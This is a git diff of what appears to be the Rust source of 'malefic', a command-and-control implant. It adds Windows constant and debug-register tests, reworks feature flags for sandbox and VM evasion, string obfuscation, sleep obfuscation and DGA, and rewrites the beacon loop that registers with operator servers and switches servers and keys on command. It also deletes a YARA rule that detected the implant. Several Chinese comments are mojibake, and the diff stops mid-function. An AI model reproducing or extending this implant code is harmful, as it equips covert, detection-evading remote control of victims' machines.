#[test] + fn test_access_rights_constants() { + assert_eq!(PROCESS_ALL_ACCESS, 0x001F0FFF); + assert_eq!(THREAD_ALL_ACCESS, 0x001F03FF); + } + + #[test] + fn test_thread_constants() { + assert_eq!(CREATE_SUSPENDED, 0x00000004); + assert_eq!(CREATE_NO_WINDOW, 0x08000000); + } + + #[test] + fn test_wait_constants() { + assert_eq!(INFINITE, 0xFFFFFFFF); + assert_eq!(WAIT_TIMEOUT, 258); + } + + #[test] + fn test_exception_constants() { + assert_eq!(CONTEXT_DEBUG_REGISTERS, 0x00010010); + assert_eq!(CONTEXT_FULL, 0x0010001F); + assert_eq!(CONTEXT_ALL, 0x0010003F); + assert_eq!(EXCEPTION_SINGLE_STEP, 0x80000004); + assert_eq!(EXCEPTION_CONTINUE_EXECUTION, -1); + assert_eq!(EXCEPTION_CONTINUE_SEARCH, 0); + } + + #[test] + fn test_file_constants() { + assert_eq!(FILE_GENERIC_READ, 0x00120089); + assert_eq!(FILE_SHARE_READ, 0x00000001); + assert_eq!(OPEN_EXISTING, 3); + assert_eq!(FILE_ATTRIBUTE_NORMAL, 0x00000080); + } + + #[test] + fn test_toolhelp_constants() { + assert_eq!(TH32CS_SNAPTHREAD, 0x00000004); + assert_eq!(TH32CS_SNAPPROCESS, 0x00000002); + } + + // ── Struct size tests ────────────────────────────────────────────────── + #[test] + fn test_threadentry32_size() { + // THREADENTRY32 is 28 bytes (7 × u32/i32) + assert_eq!(size_of::(), 28); + } + + #[test] + fn test_process_information_size() { + // Two handles (8 bytes each on x64) + two u32 = 24 bytes + #[cfg(target_arch = "x86_64")] + assert_eq!(size_of::(), 24); + } + + #[test] + fn test_security_attributes_size() { + #[cfg(target_arch = "x86_64")] + assert_eq!(size_of::(), 24); + } + + // ── CONTEXT getter/setter tests ──────────────────────────────────────── + #[cfg(target_arch = "x86_64")] + #[test] + fn test_context_new_is_zeroed() { + let ctx = CONTEXT::new(); + assert!(ctx.data.iter().all(|&b| b == 0)); + } + + #[cfg(target_arch = "x86_64")] + #[test] + fn test_context_size() { + assert_eq!(size_of::(), 1232); + } + + #[cfg(target_arch = "x86_64")] + #[test] + fn test_context_flags_roundtrip() { + let mut ctx = CONTEXT::new(); + ctx.set_context_flags(CONTEXT_ALL); + assert_eq!(ctx.context_flags(), CONTEXT_ALL); + ctx.set_context_flags(CONTEXT_DEBUG_REGISTERS); + assert_eq!(ctx.context_flags(), CONTEXT_DEBUG_REGISTERS); + } + + #[cfg(target_arch = "x86_64")] + #[test] + fn test_context_rip_roundtrip() { + let mut ctx = CONTEXT::new(); + ctx.set_rip(0xDEADBEEF_CAFEBABE); + assert_eq!(ctx.rip(), 0xDEADBEEF_CAFEBABE); + } + + #[cfg(target_arch = "x86_64")] + #[test] + fn test_context_rsp_roundtrip() { + let mut ctx = CONTEXT::new(); + ctx.set_rsp(0x00007FFE_12345678); + assert_eq!(ctx.rsp(), 0x00007FFE_12345678); + } + + #[cfg(target_arch = "x86_64")] + #[test] + fn test_context_dr_registers() { + let mut ctx = CONTEXT::new(); + for i in 0..4 { + let val = 0x1111_1111 * (i as u64 + 1); + ctx.set_dr(i, val); + assert_eq!(ctx.dr(i), val, "DR{} mismatch", i); + } + } + + #[cfg(target_arch = "x86_64")] + #[test] + fn test_context_dr6_dr7_roundtrip() { + let mut ctx = CONTEXT::new(); + ctx.set_dr6(0xFFFF0FF0); + ctx.set_dr7(0x00000401); + assert_eq!(ctx.dr6(), 0xFFFF0FF0); + assert_eq!(ctx.dr7(), 0x00000401); + } + + #[cfg(target_arch = "x86_64")] + #[test] + fn test_context_fields_do_not_overlap() { + let mut ctx = CONTEXT::new(); + ctx.set_rip(0xAAAA_AAAA_AAAA_AAAA); + ctx.set_rsp(0xBBBB_BBBB_BBBB_BBBB); + ctx.set_context_flags(0xCCCCCCCC); + ctx.set_dr(0, 0xDDDD_DDDD_DDDD_DDDD); + // Verify none clobbered the others + assert_eq!(ctx.rip(), 0xAAAA_AAAA_AAAA_AAAA); + assert_eq!(ctx.rsp(), 0xBBBB_BBBB_BBBB_BBBB); + assert_eq!(ctx.context_flags(), 0xCCCCCCCC); + assert_eq!(ctx.dr(0), 0xDDDD_DDDD_DDDD_DDDD); + } +} diff --git a/malefic-trait/Cargo.toml b/malefic-trait/Cargo.toml deleted file mode 100644 index 0781d98..0000000 --- a/malefic-trait/Cargo.toml +++ /dev/null @@ -1,12 +0,0 @@ -[package] -name = "malefic-trait" -version = "0.1.1" -edition = "2021" - -[lib] -proc-macro = true - -[dependencies] -syn = { version = "2.0.108", features = ["full"] } -quote = "1.0" -proc-macro2 = "1.0" diff --git a/malefic-trait/src/lib.rs b/malefic-trait/src/lib.rs deleted file mode 100644 index 8fb1ba0..0000000 --- a/malefic-trait/src/lib.rs +++ /dev/null @@ -1,62 +0,0 @@ -extern crate proc_macro; - -use proc_macro::TokenStream; -use quote::quote; -use syn::{parse::Parse, parse::ParseStream, parse_macro_input, ItemImpl, LitStr}; - -struct MacroArgs { - module_name: LitStr, -} - -impl Parse for MacroArgs { - fn parse(input: ParseStream) -> syn::Result { - let module_name = input.parse()?; - Ok(MacroArgs { module_name }) - } -} - -#[proc_macro_attribute] -pub fn module_impl(args: TokenStream, item: TokenStream) -> TokenStream { - let args = parse_macro_input!(args as MacroArgs); - let module_name = &args.module_name; - let mut input = parse_macro_input!(item as ItemImpl); - - let name_method = quote! { - fn name() -> &'static str { - static NAME: std::sync::OnceLock = std::sync::OnceLock::new(); - NAME.get_or_init(|| obfstr::obfstr!(#module_name).to_string()).as_str() - } - }; - let new_method = quote! { - fn new() -> Self { - // let (sender, receiver) = tokio::sync::mpsc::channel(2); - Self { - // channel: Channel { - // sender, - // receiver, - // } - } - } - }; - let new_instance_method = quote! { - fn new_instance(&self) -> Box { - Box::new(Self::new()) - } - }; - // let sender_method = quote! { - // fn sender(&self) -> tokio::sync::mpsc::Sender { - // self.channel.sender.clone() - // } - // }; - - // input.items.push(syn::parse2(sender_method).unwrap()); - input.items.push(syn::parse2(new_instance_method).unwrap()); - input.items.push(syn::parse2(new_method).unwrap()); - input.items.push(syn::parse2(name_method).unwrap()); - - let expanded = quote! { - #input - }; - - TokenStream::from(expanded) -} diff --git a/malefic.yar b/malefic.yar deleted file mode 100644 index 1a90f51..0000000 --- a/malefic.yar +++ /dev/null @@ -1,12 +0,0 @@ -rule DetectIoM_Malefic { - meta: - description = "Detect the IoM malefic implant" - author = "Chainreactors team" - date = "2025-07-05" - - strings: - $iom = "this is 1n73rn4l 0f m4l1c3" ascii - - condition: - $iom -} \ No newline at end of file diff --git a/malefic/Cargo.toml b/malefic/Cargo.toml index f1ea3b2..4737756 100644 --- a/malefic/Cargo.toml +++ b/malefic/Cargo.toml @@ -5,45 +5,85 @@ edition = "2021" build = "build.rs" [lib] -name = "malefic_dll" +name = "malefic_lib" path = "src/lib.rs" +crate-type = ["cdylib", "rlib"] [features] -default = ["beacon", "runtime_tokio"] -bind = ["malefic-core/bind"] -beacon = [] +default = ["addon", "beacon", "crypto_aes", "hot_load", "register_info", "transport_tcp"] -secure = ["malefic-proto/secure"] +beacon = [] +bind = ["malefic-transport/bind"] +addon = ["malefic-stub/addon"] +hot_load = ["malefic-stub/hot_load"] +register_info = ["malefic-stub/register_info"] -# runtime +secure = ["malefic-stub/secure"] -runtime = ["malefic-core/async_scheduler"] -runtime_asyncstd = ["runtime", "malefic-core/async-std"] -runtime_tokio = ["runtime", "malefic-core/tokio", "tokio"] -runtime_smol = ["runtime", "malefic-core/smol"] +# Random backend override (workspace default is random_nanorand) +random_getrandom = ["malefic-common/random_getrandom"] -anti_sandbox = ["malefic-helper/anti_sandbox"] -anti_vm = ["malefic-helper/anti_vm"] +anti_sandbox = ["malefic-evader/anti_sandbox"] +anti_vm = ["malefic-evader/anti_vm"] +sleep_obf = [] # guardrail -guardrail = ["regex"] +guardrail = ["malefic-guardrail"] + +# transport protocol +transport_tcp = ["malefic-transport/transport_tcp"] +transport_http = ["malefic-transport/transport_http"] +transport_rem = ["malefic-transport/transport_rem", "dep:md-5"] +tls = ["malefic-transport/tls"] +tls_rustls = ["malefic-transport/tls_rustls"] +tls_native = ["malefic-transport/tls_native"] +mtls = ["malefic-transport/mtls"] +proxy = ["malefic-transport/proxy"] +dga = ["malefic-transport/dga"] + +# crypto (propagate to proto) +crypto_aes = ["malefic-proto/crypto_aes"] +crypto_chacha20 = ["malefic-proto/crypto_chacha20"] +crypto_xor = ["malefic-proto/crypto_xor"] + +# 3rd-party modules +malefic-3rd = ["malefic-stub/malefic-3rd"] [dependencies] -cfg-if = { workspace = true } +async-trait = { workspace = true } futures = { workspace = true } futures-timer = { workspace = true } -obfstr = { workspace = true } -regex = { workspace = true, optional = true } +malefic-gateway = { workspace = true } +malefic-features = { workspace = true } + anyhow = { workspace = true } -lazy_static = { workspace = true } -tokio = { workspace = true, features = ["rt", "rt-multi-thread"], optional = true } +thiserror = { workspace = true } +md-5 = { version = "0.10", optional = true } + +malefic-stub = { workspace = true, default-features = false } +malefic-proto = { workspace = true } +malefic-config = { workspace = true } +malefic-common = { workspace = true, default-features = false } +malefic-guardrail = { workspace = true, optional = true } +malefic-sysinfo = { workspace = true } +malefic-scheduler = { workspace = true } +malefic-transport = { workspace = true, default-features = false, features = ["tokio"] } +malefic-autorun = { workspace = true, optional = true } -malefic-core = { path = "../malefic-core", features = [ "default" ] } -malefic-helper = { path= "../malefic-helper", features = [ "default" ] } -malefic-proto = { path = "../malefic-proto" } -malefic-prelude = { path = "../malefic-prelude", optional = true} +[target.'cfg(target_os = "windows")'.dependencies] +malefic-os-win = { workspace = true, default-features = false } +malefic-evader = { workspace = true, default-features = false } [build-dependencies] -lazy_static = { workspace = true } embed-resource = { workspace = true } +[dev-dependencies] +async-net = { workspace = true } +tokio = { workspace = true, features = ["rt", "rt-multi-thread", "macros", "time"] } +# TLS mock server support +rustls = { version = "0.23", default-features = false, features = ["ring", "std", "tls12"] } +rustls-pemfile = "2" +futures-rustls = "0.26" +# HMAC signature verification in security tests +hmac = { workspace = true } +sha2 = { workspace = true } diff --git a/malefic/build.rs b/malefic/build.rs index 8daea67..0f2cb58 100644 --- a/malefic/build.rs +++ b/malefic/build.rs @@ -1,31 +1,78 @@ -use std::{env}; +use std::env; +use std::path::PathBuf; fn main() { + let manifest_dir = PathBuf::from(env::var("CARGO_MANIFEST_DIR").unwrap()); + let workspace_root = manifest_dir.parent().expect("workspace root"); + let resources_dir = workspace_root.join("resources"); + println!("cargo:rerun-if-changed=build.rs"); - println!("cargo:rerun-if-changed=../resources/malefic.rc"); - println!("cargo:rerun-if-changed=../resources/app.manifest"); - println!("test build!"); + println!( + "cargo:rerun-if-changed={}", + resources_dir.join("malefic.rc").display() + ); + println!( + "cargo:rerun-if-changed={}", + resources_dir.join("YY-Thunks-Objs").display() + ); + println!("cargo:rerun-if-env-changed=YY_THUNKS_TARGET_OS"); + let target_os = env::var("CARGO_CFG_TARGET_OS").unwrap_or_else(|_| "unknown".to_string()); - let target_env = env::var("CARGO_CFG_TARGET_ENV").unwrap_or_else(|_| "unknown".to_string()); - - println!("Detected target OS: {}", target_os); - println!("Detected target ENV: {}", target_env); - - if target_os.to_lowercase() == "windows" { - use embed_resource::CompilationResult; - let current_dir = std::env::current_dir().expect("Failed to get current directory"); - let rc_path = current_dir.join("../resources/malefic.rc"); - println!("rc_path: {}", rc_path.display()); - - match embed_resource::compile(rc_path,embed_resource::NONE) { - CompilationResult::Ok => - println!("cargo:warning=embed_resource compiled successfully"), - CompilationResult::Failed(e) => - panic!("embed_resource failed: {}", e), - CompilationResult::NotAttempted(reason) => - panic!("RC compiler not found: {}", reason), - CompilationResult::NotWindows => - println!("cargo:warning=Not on Windows platform"), + if target_os != "windows" { + return; + } + + link_yy_thunks(&resources_dir); + + // embed_resource produces MSVC .lib; GNU linker can't read it + let target_env = env::var("CARGO_CFG_TARGET_ENV").unwrap_or_default(); + if target_env != "gnu" { + compile_resources(&resources_dir); + } +} + +fn link_yy_thunks(resources_dir: &PathBuf) { + let compat_target = match env::var("YY_THUNKS_TARGET_OS") { + Ok(v) if !v.is_empty() => v, + _ => return, + }; + + let target_arch = env::var("CARGO_CFG_TARGET_ARCH").unwrap(); + let arch_folder = match target_arch.as_str() { + "x86_64" => "x64", + "x86" => "x86", + _ => return, + }; + let obj_filename = format!("YY_Thunks_for_{}.obj", compat_target); + let obj_path = resources_dir + .join("YY-Thunks-Objs") + .join("objs") + .join(arch_folder) + .join(&obj_filename); + + if obj_path.exists() { + println!("cargo:rustc-link-arg={}", obj_path.display()); + println!( + "cargo:warning=Linking YY-Thunks for {} on {}", + compat_target, target_arch + ); + } +} + +fn compile_resources(resources_dir: &PathBuf) { + let rc_path = resources_dir.join("malefic.rc"); + if !rc_path.exists() { + println!("cargo:warning=malefic.rc not found, skipping resource compilation"); + return; + } + + use embed_resource::CompilationResult; + match embed_resource::compile(&rc_path, embed_resource::NONE) { + CompilationResult::Ok => println!("cargo:warning=embed_resource compiled successfully"), + CompilationResult::Failed(e) => println!("cargo:warning=embed_resource failed: {}", e), + CompilationResult::NotAttempted(reason) => { + println!("cargo:warning=RC compiler not found: {}", reason) } + CompilationResult::NotWindows => {} } } diff --git a/malefic/src/beacon.rs b/malefic/src/beacon.rs index cf8c0f2..f487b8c 100644 --- a/malefic/src/beacon.rs +++ b/malefic/src/beacon.rs @@ -1,315 +1,534 @@ +use futures::{pin_mut, FutureExt}; use futures_timer::Delay; -use futures::{SinkExt, StreamExt}; +use malefic_stub::channel::MaleficChannel; +use malefic_stub::stub::{build_connection_for_server, connect_timeout_for_server, MaleficStub}; use std::time::Duration; -use crate::malefic::MaleficChannel; -use crate::stub::MaleficStub; -#[cfg(feature = "guardrail")] -use crate::guardrail::Guardrail; - -use malefic_core::config; -use malefic_core::transport::{Client, DialerExt, ServerManager}; -use malefic_helper::debug; -use malefic_proto::crypto::new_cryptor; -use malefic_proto::marshal_one; -use obfstr::obfstr; + +use malefic_common::debug; +use malefic_config as config; +#[allow(unused_imports)] +use malefic_gateway::obfstr::obfstr; +use malefic_proto::proto::implantpb::Spites; +use malefic_proto::proto::modulepb; +use malefic_transport::{Client, ConnectionRunner, DialerExt, ServerManager, Target}; + +use crate::session_loop::{enforce_guardrail, BeaconStrategy, SessionError, SessionLoop}; + +/// Compute the session ID the same way the server does: MD5(instance_id bytes). +/// This allows the REM agent alias to match the server-side session ID exactly. +#[cfg(feature = "transport_rem")] +fn md5_session_id(instance_id: &[u8; 4]) -> String { + use md5::{Digest, Md5}; + let hash = Md5::digest(instance_id); + hash.iter().map(|b| format!("{:02x}", b)).collect() +} + pub struct MaleficBeacon { - stub: MaleficStub, - client: Client, - server_manager: ServerManager, + pub stub: MaleficStub, + pub client: Client, + pub server_manager: ServerManager, } +#[malefic_gateway::obfuscate] impl MaleficBeacon { - pub fn new(instance_id: [u8; 4], channel: MaleficChannel) -> Result> { - let stub = MaleficStub::new(instance_id, channel); - let iv: Vec = config::KEY.to_vec().iter().rev().cloned().collect(); - - let client = Client::new(new_cryptor(config::KEY.to_vec(), iv)) - .map_err(|e| { + pub fn new(instance_id: [u8; 4], channel: MaleficChannel) -> anyhow::Result { + #[cfg(all( + feature = "transport_rem", + not(feature = "transport_tcp"), + not(feature = "transport_http") + ))] + let client = { + let session_id = md5_session_id(&instance_id); + Client::new_with_alias(Some(&session_id)).map_err(|e| { debug!("[beacon] Failed to initialize client: {}", e); e - })?; - let server_manager = ServerManager::new(config::SERVER_CONFIGS.clone(), None); + })? + }; + + #[cfg(not(all( + feature = "transport_rem", + not(feature = "transport_tcp"), + not(feature = "transport_http") + )))] + let client = Client::new().map_err(|e| { + debug!("[beacon] Failed to initialize client: {}", e); + e + })?; - Ok(MaleficBeacon { + let server_manager = ServerManager::new(config::SERVER_CONFIGS.clone()); + + Ok(Self::new_with_parts( + MaleficStub::new(instance_id, channel), client, + server_manager, + )) + } + + pub fn new_with_parts( + stub: MaleficStub, + client: Client, + server_manager: ServerManager, + ) -> Self { + MaleficBeacon { stub, + client, server_manager, - }) + } } pub async fn run(&mut self) -> Result<(), ()> { #[cfg(debug_assertions)] - let _defer = malefic_helper::Defer::new(obfstr!("[beacon] beacon exit!")); + let _defer = malefic_common::errors::Defer::new(obfstr!("[beacon] beacon exit!")); - // initial registr - if !self.init().await { - debug!("[beacon] Failed to init"); - return Err(()); - } - - // 正常通信阶段 - let mut global_retry_count = 0; loop { - // 检查是å¦åœ¨æ´»è·ƒæ—¶é—´ - if !self.stub.meta.is_active_now() { - let sleep_time = Duration::from_millis(self.stub.meta.new_heartbeat()); - Delay::new(sleep_time).await; - continue; - } - - // 计算心跳间隔 - let sleep_time = Duration::from_millis(self.stub.meta.new_heartbeat()); - debug!("[beacon] Next heartbeat : {:?}", sleep_time); - Delay::new(sleep_time).await; - - // - match self.handle_heartbeat().await { + match self.run_once().await { Ok(()) => { - global_retry_count = 0; + self.server_manager.mark_success(); + self.apply_pending_switch().await; } - Err(()) => { - global_retry_count += 1; - debug!("[beacon] Heartbeat failed : {}/{}", global_retry_count, self.server_manager.max_global_retry); - - if self.server_manager.has_registered { - if global_retry_count >= self.server_manager.max_global_retry { - global_retry_count = 0; - } - } else { - debug!("[beacon] No server available."); + Err(SessionError::Transport(_e)) => { + debug!("[beacon] Transport error: {:?}", _e); + self.apply_pending_switch().await; + + if !self.server_manager.mark_failure() { + debug!("[beacon] All targets exhausted, exiting"); return Err(()); } + + let sleep_time = if let Some(backoff) = self.server_manager.backoff_secs() { + debug!("[beacon] Backing off, sleeping {}s", backoff); + Duration::from_secs(backoff) + } else { + Duration::from_millis(self.stub.meta.new_heartbeat()) + }; + Delay::new(sleep_time).await; + } + Err(SessionError::Handler(_e)) => { + debug!("[beacon] Handler error: {:?}", _e); + let sleep_time = Duration::from_millis(self.stub.meta.new_heartbeat()); + Delay::new(sleep_time).await; } } - } } - /// åˆå§‹æ³¨å†Œé˜¶æ®µï¼šæŒ‰ä¼˜å…ˆçº§é¡ºåºå°è¯•注册到æœåС噍 - async fn init(&mut self) -> bool { - let attempts_per_server = ServerManager::INITIAL_REGISTRATION_ATTEMPTS as usize; + pub async fn run_once(&mut self) -> Result<(), SessionError> { + let server_config = self + .server_manager + .current() + .ok_or(SessionError::Transport( + malefic_transport::TransportError::ConnectionError, + ))? + .clone(); - if self.server_manager.servers.is_empty() { - debug!("[beacon] No server configured for init."); - return false; - } - for idx in 0..self.server_manager.servers.len() { - self.server_manager.current_index = idx; - - for attempt in 0..attempts_per_server { - match self.register().await { - Ok(()) => { - self.server_manager.mark_register(); - debug!("[beacon] Init register success"); - return true; - } - Err(_) => { - self.server_manager.mark_failure(); + self.stub + .apply_server_defaults(server_config.server_config()); - if attempt + 1 >= attempts_per_server { - break; - } - } - } + self.register(&server_config) + .await + .map_err(SessionError::Transport)?; - if !self.stub.meta.is_active_now() { - let sleep_time = Duration::from_millis(self.stub.meta.new_heartbeat_without_jitter()); - Delay::new(sleep_time).await; - } else { - let sleep_time = Duration::from_millis(self.stub.meta.new_heartbeat()); - Delay::new(sleep_time).await; - } - } + let connection = self + .establish_connection(&server_config) + .await + .map_err(SessionError::Transport)?; - if !self.server_manager.switch_to_next() { - debug!("[beacon] No server available for init."); - break; - } - } + self.run_session(connection).await + } - debug!("[beacon] No server available for init."); - false + pub async fn run_session( + &mut self, + connection: malefic_transport::Connection, + ) -> Result<(), SessionError> { + let mut runner = ConnectionRunner::new(connection); + let mut session_loop = SessionLoop::new(BeaconStrategy); + session_loop.run(&mut self.stub, &mut runner).await } - /// - async fn handle_heartbeat(&mut self) -> Result<(), ()> { - let max_attempts = 5; - - for _ in 1..=max_attempts { - if let Some(_url) = self.server_manager.current_address().map(|s| s.to_string()) { - if !self.server_manager.is_registered() { - debug!("[beacon] Server {} not registered, register first", _url); - match self.register().await { - Ok(()) => { - self.server_manager.mark_register(); - debug!("[beacon] Re-registration successful: {}", _url); - } - Err(_e) => { - debug!("[beacon] Re-registration failed with server {}: {:?}", _url, _e); - self.handle_communication_failure(); - continue; - } - } - } + /// Beacon registration: actively connect to server and register. + /// Uses a separate connection (consumed by exchange) — the server + /// protocol expects register and session on distinct connections. + async fn register(&mut self, target: &Target) -> Result<(), malefic_transport::TransportError> { + enforce_guardrail(); + debug!("[beacon] Current target: {:#?}", target.server_config()); + + let transport = self.connect_with_timeout(target).await?; + + let connection = build_connection_for_server( + transport, + self.stub.meta.get_uuid(), + self.stub.meta.get_encrypt_key(), + self.stub.meta.get_decrypt_key(), + target.server_config(), + ) + .map_err(|e| malefic_transport::TransportError::ConnectFailed(e.to_string()))?; + + let register_spites = Spites { + spites: vec![self.stub.register_spite()], + }; - // 执行数æ®äº¤æ¢ - match self.data_exchange().await { - Ok(()) => { - self.server_manager.mark_success(); - debug!("[beacon] Data exchange success : {}", _url); - return Ok(()); - } - Err(_e) => { - debug!("[beacon] Data exchange failed : {:?}", _e); - self.handle_communication_failure(); - } - } - } else { - debug!("[beacon] No server URL available."); - break; - } - } - - debug!("[beacon] Heartbeat failed after {} attempts", max_attempts); - Err(()) + connection.send_only(register_spites).await?; + debug!("[beacon] Registered (send-only)"); + Ok(()) + } + + /// Establish connection + async fn establish_connection( + &mut self, + target: &Target, + ) -> Result { + let transport = self.connect_with_timeout(target).await?; + + build_connection_for_server( + transport, + self.stub.meta.get_uuid(), + self.stub.meta.get_encrypt_key(), + self.stub.meta.get_decrypt_key(), + target.server_config(), + ) + .map_err(|e| malefic_transport::TransportError::ConnectFailed(e.to_string())) } - /// - async fn register(&mut self) -> Result<(), Box> { - // check guardrail - #[cfg(feature = "guardrail")] - { - Guardrail::check(self.stub.get_sysinfo()); + pub async fn apply_pending_switch(&mut self) { + let pending = match self.stub.take_pending_switch() { + Some(p) => p, + None => return, + }; + + let targets = ServerManager::targets_from_proto(&pending.targets); + if targets.is_empty() { + debug!("[beacon] Switch ignored: no valid targets"); + return; + } + + // Verify primary target with a real transport connection (full + // encryption + protocol handshake). If a new key is provided we + // apply it temporarily; on failure we roll it back. + let primary = &targets[0]; + let old_key = if !pending.key.is_empty() { + let prev = malefic_config::get_transport_key(); + malefic_config::update_runtime_key(pending.key.clone()); + Some(prev) + } else { + None + }; + + if !self.try_register_to(primary).await { + debug!( + "[beacon] Switch aborted: primary target {} unreachable via full transport", + primary.address() + ); + // Roll back the key change so the current session stays valid. + if let Some(prev) = old_key { + malefic_config::update_runtime_key(prev); + } + return; } + // Verification succeeded — key stays updated (if changed). - let server_config = self.server_manager.current_server_config().ok_or(obfstr!(""))?; - debug!("[beacon] Current Server: {:#?}", server_config); - // 建立连接 - let transport = self.client.connect(&server_config).await - .map_err(|e| { - let error_msg = obfstr!("Failed to connect:").to_string() + &e.to_string(); - error_msg - })?; - - // å‡†å¤‡æ³¨å†Œæ•°æ® - let data = marshal_one(self.stub.meta.get_uuid(), self.stub.register_spite(),self.stub.meta.get_encrypt_key()) - .map_err(|e| { - let error_msg = obfstr!("Failed to marshal registration data: ").to_string() + &e.to_string(); - error_msg - })?; - - // å‘逿³¨å†Œæ•°æ® - match self.client.handler(transport, data).await { - Ok(Some(_spite_data)) => { - debug!("[beacon] Registered (recived data)"); - Ok(()) + match modulepb::SwitchAction::try_from(pending.action) { + Ok(modulepb::SwitchAction::Replace) => { + debug!("[beacon] Switch REPLACE: {} targets", targets.len()); + self.server_manager.replace_target_entries(targets); + } + Ok(modulepb::SwitchAction::Add) => { + debug!("[beacon] Switch ADD: {} targets", targets.len()); + self.server_manager.add_target_entries(targets); } - Ok(None) => { - debug!("[beacon] Registered (no data)"); - Ok(()) + Ok(modulepb::SwitchAction::Switch) => { + let first = targets.into_iter().next().unwrap(); + debug!("[beacon] Switch SWITCH to: {}", first.address()); + self.server_manager.switch_to_target(first); } - Err(e) => { - Err(format!("Registration failed: {:?}", e).into()) + Err(_) => { + debug!( + "[beacon] Switch unknown action {}, treating as REPLACE", + pending.action + ); + self.server_manager.replace_target_entries(targets); } } } - /// å°è¯•æ•°æ®äº¤æ¢ - async fn data_exchange(&mut self) -> Result<(), Box> { - let server_config = self.server_manager.current_server_config().ok_or(obfstr!(""))?; + /// Attempt a full transport-level register to a specific target. + /// Returns true if the register packet was delivered successfully. + async fn try_register_to(&mut self, target: &Target) -> bool { + debug!( + "[beacon] Verifying target via full register: {}", + target.address() + ); - // 建立连接 - let transport = match self.client.connect(&server_config).await { + let transport = match self.connect_with_timeout(target).await { Ok(t) => t, - Err(e) => { - return Err(format!("Failed to connect: {:?}", e).into()); + Err(_e) => { + debug!("[beacon] Verify connect failed: {:?}", _e); + return false; } }; - // 使用自定义的数æ®äº¤æ¢é€»è¾‘æ¥å‡†ç¡®æ£€æµ‹æœåŠ¡å™¨çŠ¶æ€ - match self.process_data(transport).await { - Ok(true) => { - debug!("[beacon] Data exchange completed (has resp)"); - Ok(()) + let connection = match build_connection_for_server( + transport, + self.stub.meta.get_uuid(), + self.stub.meta.get_encrypt_key(), + self.stub.meta.get_decrypt_key(), + target.server_config(), + ) { + Ok(c) => c, + Err(_e) => { + debug!("[beacon] Verify build_connection failed: {:?}", _e); + return false; } - Ok(false) => { - debug!("[beacon] Data exchange completed (no resp)"); - Ok(()) + }; + + let register_spites = Spites { + spites: vec![self.stub.register_spite()], + }; + + match connection.send_only(register_spites).await { + Ok(()) => { + debug!("[beacon] Verify register succeeded: {}", target.address()); + true } - Err(e) => { - Err(e) + Err(_e) => { + debug!("[beacon] Verify register send failed: {:?}", _e); + false } } } - /// 执行数æ®äº¤æ¢å¹¶éªŒè¯æœåС噍å“应 - async fn process_data(&mut self, transport: malefic_core::transport::InnterTransport) -> Result> { - self.stub.channel.request_sender.send(true).await - .map_err(|e| format!("Failed to send request: {:?}", e))?; - - let spites = if let Some(data) = self.stub.channel.response_receiver.next().await { - data - } else { - malefic_proto::proto::implantpb::Spites { spites: vec![] } - }; - - #[cfg(debug_assertions)] - { - if malefic_proto::get_message_len(&spites) <= 2048 { - println!("{:#?}", spites); - } else { - println!("length: {}", spites.spites.len()); - } + async fn connect_with_timeout( + &mut self, + target: &Target, + ) -> Result { + if matches!( + &target.server_config().transport_config, + config::TransportConfig::Rem(_) + ) { + // REM already enforces its own connect timeout around the + // handshake/reinitialization path. Avoid stacking a second + // outer timeout on top of the same operation. + return self + .client + .connect(target) + .await + .map_err(|e| malefic_transport::TransportError::ConnectFailed(e.to_string())); } - let marshaled = malefic_proto::marshal(self.stub.meta.get_uuid(), spites.clone(),self.stub.meta.get_encrypt_key()) - .map_err(|e| format!("Failed to marshal data: {:?}", e))?; + let connect_timeout = connect_timeout_for_server(target.server_config()); + let connect = self.client.connect(target).fuse(); + let timeout = Delay::new(connect_timeout).fuse(); + pin_mut!(connect, timeout); + + futures::select! { + result = connect => result.map_err(|e| malefic_transport::TransportError::ConnectFailed(e.to_string())), + _ = timeout => Err(malefic_transport::TransportError::ConnectFailed(format!( + "connect timeout after {:?} to {}", + connect_timeout, + target.address() + ))), + } + } +} - match self.client.handler(transport, marshaled).await { - Ok(Some(spite_data)) => { - let received_spites = spite_data.parse(self.stub.meta.get_encrypt_key()) - .map_err(|e| format!("Failed to parse response: {:?}", e))?; +#[cfg(test)] +mod tests { + use super::*; + use malefic_config::{ProtocolType, ServerConfig, TransportConfig}; + use malefic_proto::proto::modulepb; + use malefic_transport::ServerManager; + + fn make_target(addr: &str) -> modulepb::Target { + modulepb::Target { + address: addr.to_string(), + ..Default::default() + } + } - self.stub.handler(received_spites).await - .map_err(|e| format!("Failed to handle response: {:?}", e))?; + #[test] + fn targets_to_configs_basic_tcp() { + let targets = vec![make_target("1.2.3.4:5001")]; + let configs = ServerManager::targets_to_server_configs(&targets); + assert_eq!(configs.len(), 1); + assert_eq!(configs[0].address, "1.2.3.4:5001"); + assert_eq!(configs[0].protocol, ProtocolType::Tcp); + assert!(matches!( + configs[0].transport_config, + TransportConfig::Tcp(_) + )); + } - debug!("[beacon] Received and processed valid response data"); - Ok(true) - } - Ok(None) => { - debug!("[beacon] Connection successful but no data received from server"); - Ok(true) - } - Err(e) => { - let error_msg = format!("{:?}", e); + #[test] + fn tcp_connect_timeout_matches_session_deadline() { + let transport_config = TransportConfig::Tcp(malefic_config::TcpConfig {}); + let config = ServerConfig { + address: "127.0.0.1:5001".to_string(), + protocol: ProtocolType::Tcp, + session_config: malefic_config::SessionConfig::default_for_transport( + &transport_config, + false, + ), + transport_config, + tls_config: None, + proxy_config: None, + domain_suffix: None, + }; - for spite in spites.spites { - self.stub.push(spite).await - .map_err(|e| format!("Failed to recover spite: {:?}", e))?; - } + assert_eq!(connect_timeout_for_server(&config), Duration::from_secs(3)); + } - if error_msg.contains("Connection failed") || - error_msg.contains("ConnectionRefused") || - error_msg.contains("Connection reset") { - debug!("[beacon] Server connection issue detected"); - Ok(false) - } else { - Err(format!("Handler failed: {:?}", e).into()) - } + #[test] + fn targets_to_configs_http() { + let targets = vec![modulepb::Target { + address: "10.0.0.1:8080".to_string(), + protocol: "http".to_string(), + http_config: Some(modulepb::TargetHttpConfig { + method: "GET".to_string(), + path: "/api".to_string(), + version: "2".to_string(), + headers: std::collections::HashMap::new(), + }), + ..Default::default() + }]; + let configs = ServerManager::targets_to_server_configs(&targets); + assert_eq!(configs.len(), 1); + assert_eq!(configs[0].protocol, ProtocolType::Http); + match &configs[0].transport_config { + TransportConfig::Http(http) => { + assert_eq!(http.method, "GET"); + assert_eq!(http.path, "/api"); + assert_eq!(http.version, "2"); } + _ => panic!("expected Http transport config"), } } - /// 处ç†é€šä¿¡å¤±è´¥ - fn handle_communication_failure(&mut self) { - self.server_manager.mark_failure(); - - if !self.server_manager.retry_current() { - if self.server_manager.switch_to_next() { - 